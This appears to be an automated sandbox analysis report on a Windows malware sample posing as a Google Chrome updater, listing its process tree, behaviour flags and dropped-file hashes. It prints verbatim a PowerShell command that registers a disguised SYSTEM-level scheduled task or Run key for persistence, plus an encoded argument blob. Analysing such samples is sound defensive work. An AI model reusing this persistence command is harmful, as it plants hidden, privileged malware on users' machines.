- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1124
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2032
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3472
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4368
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1308
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2156
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2796
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1936
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
704KB
MD57e43cac5bd34dbb2b672cf7479b4f1aa
SHA1fc776e72701ff8acd5ad2d37246087855b89ef4e
SHA2561a69668700e8b13a5069a8e3a6372dcc8f052e35fb293d1a9275d39506388fcc
SHA5126e83f31bb5ba976e14f87b9943f306f1a4fcc1573772a78bcd3f7cd224c078740f4b0d06473d7536eb42f7d03d1784f971b1c51d143e84b2869cbbd38df7ef8d
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Filesize
1.1MB
MD5c3ad27d7f373206dfba91bfc4b250d46
SHA18f26b1df1a7a6f4dcf51d3fe751bd348e3739e79
SHA256e0b70b5a1fd8a5e7b29c34063436c6a50b10e83193e562c1282ee5c4dab72610
SHA51277bf2094ae5f1f45e2115f56ee0548bcc451909dd2ed117873d04a61495ac39b692bed72c754ff103b18123e0e522a244362e4e1deea144e3d4352d8d29a59a2
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
1KB
MD5e1c18ce9c1062ec022c739908d0c4b77
SHA1635c3d0f4406023d111c886fd6505ac1341ddb9a
SHA256a3e543c5efda1e12391c296096c240514ba3f2e24b2d632b2ae5de977e4bf575
SHA512a55bf02f8d4397c5b7bc9aa556af4467fa30701953209be13eece2272e551202aa91b2c06c73eee3b7ca6cbb59c1f36820d546705947ec13c6223e93b5538644
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5